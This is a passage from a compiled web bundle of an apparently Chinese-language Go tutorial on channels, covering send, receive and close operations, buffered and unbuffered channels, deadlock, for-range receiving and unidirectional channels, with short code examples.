[\u7f13\u51b2\u5927\u5c0f])\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"channel\u7684\u7f13\u51b2\u5927\u5c0f\u662f\u53ef\u9009\u7684\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u4e3e\u51e0\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"ch4 := make(chan int)\nch5 := make(chan bool, 1) // \u58f0\u660e\u4e00\u4e2a\u7f13\u51b2\u533a\u5927\u5c0f\u4e3a1\u7684\u901a\u9053\n"})}),"\n",(0,i.jsx)(e.h3,{id:"channel\u64cd\u4f5c",children:"channel\u64cd\u4f5c"}),"\n",(0,i.jsxs)(e.p,{children:["\u901a\u9053\u5171\u6709\u53d1\u9001\uff08send\uff09\u3001\u63a5\u6536(receive\uff09\u548c\u5173\u95ed\uff08close\uff09\u4e09\u79cd\u64cd\u4f5c\u3002\u800c\u53d1\u9001\u548c\u63a5\u6536\u64cd\u4f5c\u90fd\u4f7f\u7528",(0,i.jsx)(e.code,{children:"<-"}),"\u7b26\u53f7\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u73b0\u5728\u6211\u4eec\u5148\u4f7f\u7528\u4ee5\u4e0b\u8bed\u53e5\u5b9a\u4e49\u4e00\u4e2a\u901a\u9053\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"ch := make(chan int)\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u53d1\u9001",children:"\u53d1\u9001"}),"\n",(0,i.jsx)(e.p,{children:"\u5c06\u4e00\u4e2a\u503c\u53d1\u9001\u5230\u901a\u9053\u4e2d\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"ch <- 10 // \u628a10\u53d1\u9001\u5230ch\u4e2d\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u63a5\u6536",children:"\u63a5\u6536"}),"\n",(0,i.jsx)(e.p,{children:"\u4ece\u4e00\u4e2a\u901a\u9053\u4e2d\u63a5\u6536\u503c\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"x := <- ch // \u4ecech\u4e2d\u63a5\u6536\u503c\u5e76\u8d4b\u503c\u7ed9\u53d8\u91cfx\n<-ch // \u4ecech\u4e2d\u63a5\u6536\u503c\uff0c\u5ffd\u7565\u7ed3\u679c\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u5173\u95ed",children:"\u5173\u95ed"}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u901a\u8fc7\u8c03\u7528\u5185\u7f6e\u7684",(0,i.jsx)(e.code,{children:"close"}),"\u51fd\u6570\u6765\u5173\u95ed\u901a\u9053\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"close(ch)\n"})}),"\n",(0,i.jsx)(e.p,{children:"**\u6ce8\u610f\uff1a**\u4e00\u4e2a\u901a\u9053\u503c\u662f\u53ef\u4ee5\u88ab\u5783\u573e\u56de\u6536\u6389\u7684\u3002\u901a\u9053\u901a\u5e38\u7531\u53d1\u9001\u65b9\u6267\u884c\u5173\u95ed\u64cd\u4f5c\uff0c\u5e76\u4e14\u53ea\u6709\u5728\u63a5\u6536\u65b9\u660e\u786e\u7b49\u5f85\u901a\u9053\u5173\u95ed\u7684\u4fe1\u53f7\u65f6\u624d\u9700\u8981\u6267\u884c\u5173\u95ed\u64cd\u4f5c\u3002\u5b83\u548c\u5173\u95ed\u6587\u4ef6\u4e0d\u4e00\u6837\uff0c\u901a\u5e38\u5728\u7ed3\u675f\u64cd\u4f5c\u4e4b\u540e\u5173\u95ed\u6587\u4ef6\u662f\u5fc5\u987b\u8981\u505a\u7684\uff0c\u4f46\u5173\u95ed\u901a\u9053\u4e0d\u662f\u5fc5\u987b\u7684\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5173\u95ed\u540e\u7684\u901a\u9053\u6709\u4ee5\u4e0b\u7279\u70b9\uff1a"}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"\u5bf9\u4e00\u4e2a\u5173\u95ed\u7684\u901a\u9053\u518d\u53d1\u9001\u503c\u5c31\u4f1a\u5bfc\u81f4 panic\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u5bf9\u4e00\u4e2a\u5173\u95ed\u7684\u901a\u9053\u8fdb\u884c\u63a5\u6536\u4f1a\u4e00\u76f4\u83b7\u53d6\u503c\u76f4\u5230\u901a\u9053\u4e3a\u7a7a\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u5bf9\u4e00\u4e2a\u5173\u95ed\u7684\u5e76\u4e14\u6ca1\u6709\u503c\u7684\u901a\u9053\u6267\u884c\u63a5\u6536\u64cd\u4f5c\u4f1a\u5f97\u5230\u5bf9\u5e94\u7c7b\u578b\u7684\u96f6\u503c\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u5173\u95ed\u4e00\u4e2a\u5df2\u7ecf\u5173\u95ed\u7684\u901a\u9053\u4f1a\u5bfc\u81f4 panic\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.h3,{id:"\u65e0\u7f13\u51b2\u7684\u901a\u9053",children:"\u65e0\u7f13\u51b2\u7684\u901a\u9053"}),"\n",(0,i.jsx)(e.p,{children:"\u65e0\u7f13\u51b2\u7684\u901a\u9053\u53c8\u79f0\u4e3a\u963b\u585e\u7684\u901a\u9053\u3002\u6211\u4eec\u6765\u770b\u4e00\u4e0b\u5982\u4e0b\u4ee3\u7801\u7247\u6bb5\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\tch := make(chan int)\n\tch <- 10\n\tfmt.Println("\u53d1\u9001\u6210\u529f")\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u4e0a\u9762\u8fd9\u6bb5\u4ee3\u7801\u80fd\u591f\u901a\u8fc7\u7f16\u8bd1\uff0c\u4f46\u662f\u6267\u884c\u7684\u65f6\u5019\u4f1a\u51fa\u73b0\u4ee5\u4e0b\u9519\u8bef\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"fatal error: all goroutines are asleep - deadlock!\n\ngoroutine 1 [chan send]:\nmain.main()\n .../main.go:8 +0x54\n"})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"deadlock"}),"\u8868\u793a\u6211\u4eec\u7a0b\u5e8f\u4e2d\u7684 goroutine \u90fd\u88ab\u6302\u8d77\u5bfc\u81f4\u7a0b\u5e8f\u6b7b\u9501\u4e86\u3002\u4e3a\u4ec0\u4e48\u4f1a\u51fa\u73b0",(0,i.jsx)(e.code,{children:"deadlock"}),"\u9519\u8bef\u5462\uff1f"]}),"\n",(0,i.jsxs)(e.p,{children:["\u56e0\u4e3a\u6211\u4eec\u4f7f\u7528",(0,i.jsx)(e.code,{children:"ch := make(chan int)"}),"\u521b\u5efa\u7684\u662f\u65e0\u7f13\u51b2\u7684\u901a\u9053\uff0c\u65e0\u7f13\u51b2\u7684\u901a\u9053\u53ea\u6709\u5728\u6709\u63a5\u6536\u65b9\u80fd\u591f\u63a5\u6536\u503c\u7684\u65f6\u5019\u624d\u80fd\u53d1\u9001\u6210\u529f\uff0c\u5426\u5219\u4f1a\u4e00\u76f4\u5904\u4e8e\u7b49\u5f85\u53d1\u9001\u7684\u9636\u6bb5\u3002\u540c\u7406\uff0c\u5982\u679c\u5bf9\u4e00\u4e2a\u65e0\u7f13\u51b2\u901a\u9053\u6267\u884c\u63a5\u6536\u64cd\u4f5c\u65f6\uff0c\u6ca1\u6709\u4efb\u4f55\u5411\u901a\u9053\u4e2d\u53d1\u9001\u503c\u7684\u64cd\u4f5c\u90a3\u4e48\u4e5f\u4f1a\u5bfc\u81f4\u63a5\u6536\u64cd\u4f5c\u963b\u585e\u3002\u5c31\u50cf\u7530\u5f84\u6bd4\u8d5b\u4e2d\u76844x100\u63a5\u529b\u8d5b\uff0c\u60f3\u8981\u5b8c\u6210\u4ea4\u68d2\u5fc5\u987b\u6709\u4e00\u4e2a\u80fd\u591f\u63a5\u68d2\u7684\u8fd0\u52a8\u5458\uff0c\u5426\u5219\u53ea\u80fd\u7b49\u5f85\u3002\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u65e0\u7f13\u51b2\u7684\u901a\u9053\u5fc5\u987b\u6709\u81f3\u5c11\u4e00\u4e2a\u63a5\u6536\u65b9\u624d\u80fd\u53d1\u9001\u6210\u529f\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0a\u9762\u7684\u4ee3\u7801\u4f1a\u963b\u585e\u5728",(0,i.jsx)(e.code,{children:"ch <- 10"}),"\u8fd9\u4e00\u884c\u4ee3\u7801\u5f62\u6210\u6b7b\u9501\uff0c\u90a3\u5982\u4f55\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u5462\uff1f"]}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\u4e00\u79cd\u53ef\u884c\u7684\u65b9\u6cd5\u662f\u521b\u5efa\u4e00\u4e2a goroutine \u53bb\u63a5\u6536\u503c\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func recv(c chan int) {\n\tret := <-c\n\tfmt.Println("\u63a5\u6536\u6210\u529f", ret)\n}\n\nfunc main() {\n\tch := make(chan int)\n\tgo recv(ch) // \u521b\u5efa\u4e00\u4e2a goroutine \u4ece\u901a\u9053\u63a5\u6536\u503c\n\tch <- 10\n\tfmt.Println("\u53d1\u9001\u6210\u529f")\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u9996\u5148\u65e0\u7f13\u51b2\u901a\u9053",(0,i.jsx)(e.code,{children:"ch"}),"\u4e0a\u7684\u53d1\u9001\u64cd\u4f5c\u4f1a\u963b\u585e\uff0c\u76f4\u5230\u53e6\u4e00\u4e2a goroutine \u5728\u8be5\u901a\u9053\u4e0a\u6267\u884c\u63a5\u6536\u64cd\u4f5c\uff0c\u8fd9\u65f6\u6570\u5b5710\u624d\u80fd\u53d1\u9001\u6210\u529f\uff0c\u4e24\u4e2a goroutine \u5c06\u7ee7\u7eed\u6267\u884c\u3002\u76f8\u53cd\uff0c\u5982\u679c\u63a5\u6536\u64cd\u4f5c\u5148\u6267\u884c\uff0c\u63a5\u6536\u65b9\u6240\u5728\u7684 goroutine \u5c06\u963b\u585e\uff0c\u76f4\u5230 main goroutine \u4e2d\u5411\u8be5\u901a\u9053\u53d1\u9001\u6570\u5b5710\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u4f7f\u7528\u65e0\u7f13\u51b2\u901a\u9053\u8fdb\u884c\u901a\u4fe1\u5c06\u5bfc\u81f4\u53d1\u9001\u548c\u63a5\u6536\u7684 goroutine \u540c\u6b65\u5316\u3002\u56e0\u6b64\uff0c\u65e0\u7f13\u51b2\u901a\u9053\u4e5f\u88ab\u79f0\u4e3a",(0,i.jsx)(e.code,{children:"\u540c\u6b65\u901a\u9053"}),"\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u6709\u7f13\u51b2\u7684\u901a\u9053",children:"\u6709\u7f13\u51b2\u7684\u901a\u9053"}),"\n",(0,i.jsx)(e.p,{children:"\u8fd8\u6709\u53e6\u5916\u4e00\u79cd\u89e3\u51b3\u4e0a\u9762\u6b7b\u9501\u95ee\u9898\u7684\u65b9\u6cd5\uff0c\u90a3\u5c31\u662f\u4f7f\u7528\u6709\u7f13\u51b2\u533a\u7684\u901a\u9053\u3002\u6211\u4eec\u53ef\u4ee5\u5728\u4f7f\u7528 make \u51fd\u6570\u521d\u59cb\u5316\u901a\u9053\u65f6\uff0c\u53ef\u4ee5\u4e3a\u5176\u6307\u5b9a\u901a\u9053\u7684\u5bb9\u91cf\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\tch := make(chan int, 1) // \u521b\u5efa\u4e00\u4e2a\u5bb9\u91cf\u4e3a1\u7684\u6709\u7f13\u51b2\u533a\u901a\u9053\n\tch <- 10\n\tfmt.Println("\u53d1\u9001\u6210\u529f")\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u53ea\u8981\u901a\u9053\u7684\u5bb9\u91cf\u5927\u4e8e\u96f6\uff0c\u90a3\u4e48\u8be5\u901a\u9053\u5c31\u5c5e\u4e8e\u6709\u7f13\u51b2\u7684\u901a\u9053\uff0c\u901a\u9053\u7684\u5bb9\u91cf\u8868\u793a\u901a\u9053\u4e2d\u6700\u5927\u80fd\u5b58\u653e\u7684\u5143\u7d20\u6570\u91cf\u3002\u5f53\u901a\u9053\u5185\u5df2\u6709\u5143\u7d20\u6570\u8fbe\u5230\u6700\u5927\u5bb9\u91cf\u540e\uff0c\u518d\u5411\u901a\u9053\u6267\u884c\u53d1\u9001\u64cd\u4f5c\u5c31\u4f1a\u963b\u585e\uff0c\u9664\u975e\u6709\u4ece\u901a\u9053\u6267\u884c\u63a5\u6536\u64cd\u4f5c\u3002\u5c31\u50cf\u4f60\u5c0f\u533a\u7684\u5feb\u9012\u67dc\u53ea\u6709\u90a3\u4e48\u4e2a\u591a\u683c\u5b50\uff0c\u683c\u5b50\u6ee1\u4e86\u5c31\u88c5\u4e0d\u4e0b\u4e86\uff0c\u5c31\u963b\u585e\u4e86\uff0c\u7b49\u5230\u522b\u4eba\u53d6\u8d70\u4e00\u4e2a\u5feb\u9012\u5458\u5c31\u80fd\u5f80\u91cc\u9762\u653e\u4e00\u4e2a\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5185\u7f6e\u7684",(0,i.jsx)(e.code,{children:"len"}),"\u51fd\u6570\u83b7\u53d6\u901a\u9053\u5185\u5143\u7d20\u7684\u6570\u91cf\uff0c\u4f7f\u7528",(0,i.jsx)(e.code,{children:"cap"}),"\u51fd\u6570\u83b7\u53d6\u901a\u9053\u7684\u5bb9\u91cf\uff0c\u867d\u7136\u6211\u4eec\u5f88\u5c11\u4f1a\u8fd9\u4e48\u505a\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u591a\u8fd4\u56de\u503c\u6a21\u5f0f",children:"\u591a\u8fd4\u56de\u503c\u6a21\u5f0f"}),"\n",(0,i.jsxs)(e.p,{children:["\u5f53\u5411\u901a\u9053\u4e2d\u53d1\u9001\u5b8c\u6570\u636e\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,i.jsx)(e.code,{children:"close"}),"\u51fd\u6570\u6765\u5173\u95ed\u901a\u9053\u3002\u5f53\u4e00\u4e2a\u901a\u9053\u88ab\u5173\u95ed\u540e\uff0c\u518d\u5f80\u8be5\u901a\u9053\u53d1\u9001\u503c\u4f1a\u5f15\u53d1",(0,i.jsx)(e.code,{children:"panic"}),"\uff0c\u4ece\u8be5\u901a\u9053\u53d6\u503c\u7684\u64cd\u4f5c\u4f1a\u5148\u53d6\u5b8c\u901a\u9053\u4e2d\u7684\u503c\u3002\u901a\u9053\u5185\u7684\u503c\u88ab\u63a5\u6536\u5b8c\u540e\u518d\u5bf9\u901a\u9053\u6267\u884c\u63a5\u6536\u64cd\u4f5c\u5f97\u5230\u7684\u503c\u4f1a\u4e00\u76f4\u90fd\u662f\u5bf9\u5e94\u5143\u7d20\u7c7b\u578b\u7684\u96f6\u503c\u3002\u90a3\u6211\u4eec\u5982\u4f55\u5224\u65ad\u4e00\u4e2a\u901a\u9053\u662f\u5426\u88ab\u5173\u95ed\u4e86\u5462\uff1f"]}),"\n",(0,i.jsx)(e.p,{children:"\u5bf9\u4e00\u4e2a\u901a\u9053\u6267\u884c\u63a5\u6536\u64cd\u4f5c\u65f6\u652f\u6301\u4f7f\u7528\u5982\u4e0b\u591a\u8fd4\u56de\u503c\u6a21\u5f0f\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"value, ok := <- ch\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"value\uff1a\u4ece\u901a\u9053\u4e2d\u53d6\u51fa\u7684\u503c\uff0c\u5982\u679c\u901a\u9053\u88ab\u5173\u95ed\u5219\u8fd4\u56de\u5bf9\u5e94\u7c7b\u578b\u7684\u96f6\u503c\u3002"}),"\n",(0,i.jsx)(e.li,{children:"ok\uff1a\u901a\u9053ch\u5173\u95ed\u65f6\u8fd4\u56de false\uff0c\u5426\u5219\u8fd4\u56de true\u3002"}),"\n"]}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0b\u9762\u4ee3\u7801\u7247\u6bb5\u4e2d\u7684",(0,i.jsx)(e.code,{children:"f2"}),"\u51fd\u6570\u4f1a\u5faa\u73af\u4ece\u901a\u9053",(0,i.jsx)(e.code,{children:"ch"}),"\u4e2d\u63a5\u6536\u6240\u6709\u503c\uff0c\u76f4\u5230\u901a\u9053\u88ab\u5173\u95ed\u540e\u9000\u51fa\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func f2(ch chan int) {\n\tfor {\n\t\tv, ok := <-ch\n\t\tif !ok {\n\t\t\tfmt.Println("\u901a\u9053\u5df2\u5173\u95ed")\n\t\t\tbreak\n\t\t}\n\t\tfmt.Printf("v:%#v ok:%#v\\n", v, ok)\n\t}\n}\n\nfunc main() {\n\tch := make(chan int, 2)\n\tch <- 1\n\tch <- 2\n\tclose(ch)\n\tf2(ch)\n}\n'})}),"\n",(0,i.jsx)(e.h3,{id:"for-range\u63a5\u6536\u503c",children:"for range\u63a5\u6536\u503c"}),"\n",(0,i.jsxs)(e.p,{children:["\u901a\u5e38\u6211\u4eec\u4f1a\u9009\u62e9\u4f7f\u7528",(0,i.jsx)(e.code,{children:"for range"}),"\u5faa\u73af\u4ece\u901a\u9053\u4e2d\u63a5\u6536\u503c\uff0c\u5f53\u901a\u9053\u88ab\u5173\u95ed\u540e\uff0c\u4f1a\u5728\u901a\u9053\u5185\u7684\u6240\u6709\u503c\u88ab\u63a5\u6536\u5b8c\u6bd5\u540e\u4f1a\u81ea\u52a8\u9000\u51fa\u5faa\u73af\u3002\u4e0a\u9762\u90a3\u4e2a\u793a\u4f8b\u6211\u4eec\u4f7f\u7528",(0,i.jsx)(e.code,{children:"for range"}),"\u6539\u5199\u540e\u4f1a\u5f88\u7b80\u6d01\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"func f3(ch chan int) {\n\tfor v := range ch {\n\t\tfmt.Println(v)\n\t}\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["**\u6ce8\u610f\uff1a**\u76ee\u524dGo\u8bed\u8a00\u4e2d\u5e76\u6ca1\u6709\u63d0\u4f9b\u4e00\u4e2a\u4e0d\u5bf9\u901a\u9053\u8fdb\u884c\u8bfb\u53d6\u64cd\u4f5c\u5c31\u80fd\u5224\u65ad\u901a\u9053\u662f\u5426\u88ab\u5173\u95ed\u7684\u65b9\u6cd5\u3002\u4e0d\u80fd\u7b80\u5355\u7684\u901a\u8fc7",(0,i.jsx)(e.code,{children:"len(ch)"}),"\u64cd\u4f5c\u6765\u5224\u65ad\u901a\u9053\u662f\u5426\u88ab\u5173\u95ed\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u5355\u5411\u901a\u9053",children:"\u5355\u5411\u901a\u9053"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u67d0\u4e9b\u573a\u666f\u4e0b\u6211\u4eec\u53ef\u80fd\u4f1a\u5c06\u901a\u9053\u4f5c\u4e3a\u53c2\u6570\u5728\u591a\u4e2a\u4efb\u52a1\u51fd\u6570\u95f4\u8fdb\u884c\u4f20\u9012\uff0c\u901a\u5e38\u6211\u4eec\u4f1a\u9009\u62e9\u5728\u4e0d\u540c\u7684\u4efb\u52a1\u51fd\u6570\u4e2d\u5bf9\u901a\u9053\u7684\u4f7f\u7528\u8fdb\u884c\u9650\u5236\uff0c\u6bd4\u5982\u9650\u5236\u901a\u9053\u5728\u67d0\u4e2a\u51fd\u6570\u4e2d\u53ea\u80fd\u6267\u884c\u53d1\u9001\u6216\u53ea\u80fd\u6267\u884c\u63a5\u6536\u64cd\u4f5c\u3002\u60f3\u8c61\u4e00\u4e0b\uff0c\u6211\u4eec\u73b0\u5728\u6709",(0,i.jsx)(e.code,{children:"Producer"}),"\u548c",(0,i.jsx)(e.code,{children:"Consumer"}),"\u4e24\u4e2a\u51fd\u6570\uff0c\u5176\u4e2d",(0,i.jsx)(e.code,{children:"Producer"}),"\u51fd\u6570\u4f1a\u8fd4\u56de\u4e00\u4e2a\u901a\u9053\uff0c\u5e76\u4e14\u4f1a\u6301\u7eed\u5c06\u7b26\u5408\u6761\u4ef6\u7684\u6570\u636e\u53d1\u9001\u81f3\u8be5\u901a\u9053\uff0c\u5e76\u5728\u53d1\u9001\u5b8c\u6210\u540e\u5c06\u8be5\u901a\u9053\u5173\u95ed\u3002\u800c",(0,i.jsx)(e.code,{children:"Consumer"}),"\u51fd\u6570\u7684\u4efb\u52a1\u662f\u4ece\u901a\u9053\u4e2d\u63a5\u6536\u503c\u8fdb\u884c\u8ba1\u7b97\uff0c\u8fd9\u4e24\u4e2a\u51fd\u6570\u4e4b\u95f4\u901a\u8fc7",(0,i.jsx)(e.code,{children:"Processer"}),"\u51fd\u6570\u8fd4\u56de\u7684\u901a\u9053\u8fdb\u884c\u901a\u4fe1\u3002\u5b8c\u6574\u7684\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n)\n\n// Producer \u8fd4\u56de\u4e00\u4e2a\u901a\u9053\n// \u5e76\u6301\u7eed\u5c06\u7b26\u5408\u6761\u4ef6\u7684\u6570\u636e\u53d1\u9001\u81f3\u8fd4\u56de\u7684\u901a\u9053\u4e2d\n// \u6570\u636e\u53d1\u9001\u5b8c\u6210\u540e\u4f1a\u5c06\u8fd4\u56de\u7684\u901a\u9053\u5173\u95ed\nfunc Producer() chan int {\n\tch := make(chan int, 2)\n\t// \u521b\u5efa\u4e00\u4e2a\u65b0\u7684goroutine\u6267\u884c\u53d1\u9001\u6570\u636e\u7684\u4efb\u52a1\n\tgo func() {\n\t\tfor i := 0; i < 10; i++ {\n\t\t\tif i%2 == 1 {\n\t\t\t\tch <- i\n\t\t\t}\n\t\t}\n\t\tclose(ch) // \u4efb\u52a1\u5b8c\u6210\u540e\u5173\u95ed\u901a\u9053\n\t}()\n\n\treturn ch\n}\n\n// Consumer \u4ece\u901a\u9053\u4e2d\u63a5\u6536\u6570\u636e\u8fdb\u884c\u8ba1\u7b97\nfunc Consumer(ch chan int) int {\n\tsum := 0\n\tfor v := range ch {\n\t\tsum += v\n\t}\n\treturn sum\n}\n\nfunc main() {\n\tch := Producer()\n\n\tres := Consumer(ch)\n\tfmt.Println(res) // 25\n\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u4ece\u4e0a\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u4e2d\u53ef\u4ee5\u770b\u51fa\u6b63\u5e38\u60c5\u51b5\u4e0b",(0,i.jsx)(e.code,{children:"Consumer"}),"\u51fd\u6570\u4e2d\u53ea\u4f1a\u5bf9\u901a\u9053\u8fdb\u884c\u63a5\u6536\u64cd\u4f5c\uff0c\u4f46\u662f\u8fd9\u4e0d\u4ee3\u8868\u4e0d\u53ef\u4ee5\u5728",(0,i.jsx)(e.code,{children:"Consumer"}),"\u51fd\u6570\u4e2d\u5bf9\u901a\u9053\u8fdb\u884c\u53d1\u9001\u64cd\u4f5c\u3002\u4f5c\u4e3a",(0,i.jsx)(e.code,{children:"Producer"}),"\u51fd\u6570\u7684\u63d0\u4f9b\u8005\uff0c\u6211\u4eec\u5728\u8fd4\u56de\u901a\u9053\u7684\u65f6\u5019\u53ef\u80fd\u53ea\u5e0c\u671b\u8c03\u7528\u65b9\u62ff\u5230\u8fd4\u56de\u7684\u901a\u9053\u540e\u53ea\u80fd\u5bf9\u5176\u8fdb\u884c\u63a5\u6536\u64cd\u4f5c\u3002\u4f46\u662f\u6211\u4eec\u6ca1\u6709\u529e\u6cd5\u963b\u6b62\u5728",(0,i.jsx)(e.code,{children:"Consumer"}),"\u51fd\u6570\u4e2d\u5bf9\u901a\u9053\u8fdb\u884c\u53d1\u9001\u64cd\u4f5c\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u63d0\u4f9b\u4e86",(0,i.jsx)(e.strong,{children:"\u5355\u5411\u901a\u9053"}),"\u6765\u5904\u7406\u8fd9\u79cd\u9700\u8981\u9650\u5236\u901a\u9053\u53ea\u80fd\u8fdb\u884c\u67d0\u79cd\u64cd\u4f5c\u7684\u60c5\u51b5\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"<- chan int // \u53ea\u63a5\u6536\u901a\u9053\uff0c\u53ea\u80fd\u63a5\u6536\u4e0d\u80fd\u53d1\u9001\nchan <- int // \u53ea\u53d1\u9001\u901a\u9053\uff0c\u53ea\u80fd\u53d1\u9001\u4e0d\u80fd\u63a5\u6536\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5176\u4e2d\uff0c\u7bad\u5934",(0,i.jsx)(e.code,{children:"<-"}),"\u548c\u5173\u952e\u5b57",(0,i.jsx)(e.code,{children:"chan"}),"\u7684\u76f8\u5bf9\u4f4d\u7f6e\u8868\u660e\u4e86\u5f53\u524d\u901a\u9053\u5141\u8bb8\u7684\u64cd\u4f5c\uff0c\u8fd9\u79cd\u9650\u5236\u5c06\u5728\u7f16\u8bd1\u9636\u6bb5\u8fdb\u884c\u68c0\u6d4b\u3002\u53e6\u5916\u5bf9\u4e00\u4e2a\u53ea\u63a5\u6536\u901a\u9053\u6267\u884cclose\u4e5f\u662f\u4e0d\u5141\u8bb8\u7684\uff0c\u56e0\u4e3a\u9ed8\u8ba4\u901a\u9053\u7684\u5173\u95ed\u64cd\u4f5c\u5e94\u8be5\u7531\u53d1\u9001\u65b9\u6765\u5b8c\u6210\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u4f7f\u7528\u5355\u5411\u901a\u9053\u5c06\u4e0a\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u8fdb\u884c\u5982\u4e0b\u6539\u9020\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"// Producer2 \u8fd4\u56de\u4e00\u4e2a\u63a5\u6536\u901a\u9053\nfunc Producer2() <-chan int {\n\tch := make(chan int, 2)\n\t// \u521b\u5efa\u4e00\u4e2a\u65b0\u7684goroutine\u6267\u884c\u53d1\u9001\u6570\u636e\u7684\u4efb\u52a1\n\tgo func() {\n\t\tfor i := 0; i < 10; i++ {\n\t\t\tif i%2 == 1 {\n\t\t\t\tch <- i\n\t\t\t}\n\t\t}\n\t\tclose(ch) // \u4efb\u52a1\u5b8c\u6210\u540e\u5173\u95ed\u901a\u9053\n\t}()\n\n\treturn ch\n}\n\n// Consumer2 \u53c2\u6570\u4e3a\u63a5\u6536\u901a\u9053\nfunc Consumer2(ch <-chan int) int {\n\tsum := 0\n\tfor v := range ch {\n\t\tsum += v\n\t}\n\treturn sum\n}\n\nfunc main() {\n\tch2 := Producer2()\n \n\tres2 := Consumer2(ch2)\n\tfmt.Println(res2) // 25\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u4e00\u6b21\uff0c",(0,i.jsx)(e.code,{children:"Producer"}),"\u51fd\u6570\u8fd4\u56de\u7684\u662f\u4e00\u4e2a\u53ea\u63a5\u6536\u901a\u9053\uff0c\u8fd9\u5c31\u4ece\u4ee3\u7801\u5c42\u9762\u9650\u5236\u4e86\u8be5\u51fd\u6570\u8fd4\u56de\u7684\u901a\u9053\u53ea\u80fd\u8fdb\u884c\u63a5\u6536\u64cd\u4f5c\uff0c\u4fdd\u8bc1\u4e86\u6570\u636e\u5b89\u5168\u3002\u5f88\u591a\u8bfb\u8005\u770b\u5230\u8fd9\u4e2a\u793a\u4f8b\u53ef\u80fd\u4f1a\u89c9\u7740\u8fd9\u6837\u7684\u9650\u5236\u662f\u591a\u4f59\u7684\uff0c\u4f46\u662f\u8bd5\u60f3\u4e00\u4e0b\u5982\u679c",(0,i.jsx)(e.code,{children:"Producer"}),"\u51fd\u6570\u53ef\u4ee5\u5728\u5176\u4ed6\u5730\u65b9\u88ab\u5176\u4ed6\u4eba\u8c03\u7528\uff0c\u4f60\u8be5\u5982\u4f55\u9650\u5236\u4ed6\u4eba\u4e0d\u5bf9\u8be5\u901a\u9053\u6267\u884c\u53d1\u9001\u64cd\u4f5c\u5462\uff1f\u5e76\u4e14\u8fd4\u56de\u9650\u5236\u64cd\u4f5c\u7684\u5355\u5411\u901a\u9053\u4e5f\u4f1a\u8ba9\u4ee3\u7801\u8bed\u4e49\u66f4\u6e05\u6670\u3001\u66f4\u6613\u8bfb\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u51fd\u65